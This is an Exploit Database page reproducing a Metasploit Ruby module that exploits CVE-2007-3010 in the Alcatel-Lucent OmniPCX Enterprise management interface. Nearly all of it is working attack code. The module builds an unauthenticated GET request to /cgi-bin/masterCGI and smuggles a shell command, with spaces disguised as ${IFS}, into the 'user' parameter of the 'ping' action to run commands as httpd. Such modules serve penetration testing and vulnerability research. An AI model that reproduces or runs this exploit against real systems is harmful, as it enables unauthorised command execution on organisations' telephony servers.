Alcatel-Lucent OmniPCX Enterprise – masterCGI Arbitrary Command Execution (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2010-10-05
• 类别：

  • webapps
  平台：

  • cgi
• 来源：https://www.exploit-db.com/exploits/16857/

• ##
  # $Id: alcatel_omnipcx_mastercgi_exec.rb 10556 2010-10-05 23:13:04Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ManualRanking # Only interactive single commands supported
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution',
  			'Description'=> %q{
  					This module abuses a metacharacter injection vulnerability in the
  				HTTP management interface of the Alcatel-Lucent OmniPCX Enterprise
  				Communication Server 7.1 and earlier. The Unified Maintenance Tool
  				contains a 'masterCGI' binary which allows an unauthenticated attacker
  				to execute arbitrary commands by specifing shell metacharaters as the
  				'user' within the 'ping' action to obtain 'httpd' user access. This
  				module only supports command line payloads, as the httpd process kills
  				the reverse/bind shell spawn after the HTTP 200 OK response.
  			},
  			'Author' => [ 'patrick' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 10556 $',
  			'References' =>
  				[
  					[ 'OSVDB', '40521' ],
  					[ 'BID', '25694' ],
  					[ 'CVE', '2007-3010' ],
  					[ 'URL', 'http://www1.alcatel-lucent.com/psirt/statements/2007002/OXEUMT.htm' ],
  				],
  			'Platform' => ['unix'],
  			'Arch' => ARCH_CMD,
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'Space' => 1024,
  					'DisableNops' => true,
  					'Compat'=>
  						{
  							'PayloadType' => 'cmd',
  							'RequiredCmd' => 'generic'
  						}
  				},
  			'Targets'=>
  				[
  					[ 'Automatic Target', { }]
  				],
  			'DefaultTarget' => 0,
  			'DisclosureDate' => 'Sep 09 2007'))
  
  		register_options(
  			[
  				Opt::RPORT(443),
  				OptBool.new('SSL', [true, 'Use SSL', true]),
  			], self.class)
  	end
  
  	def exploit
  		connect
  
  		cmd = payload.encoded.gsub(" ", '${IFS}')
  		req =
  			"GET /cgi-bin/masterCGI?ping=nomip&user=;#{cmd}; HTTP/1.1\r\n" +
  			"Host: #{rhost}\r\n\r\n"
  
  		print_status("Sending GET request with command line payload...")
  		sock.put(req)
  
  		res = sock.get(3,3)
  
  		if (res =~ /<h5>(.*)<\/h5>/smi)
  			out = $1
  			print_line(out.gsub(/<h5>|<\/h5>/, ''))
  			return
  		end
  
  		handler
  		disconnect
  	end
  
  end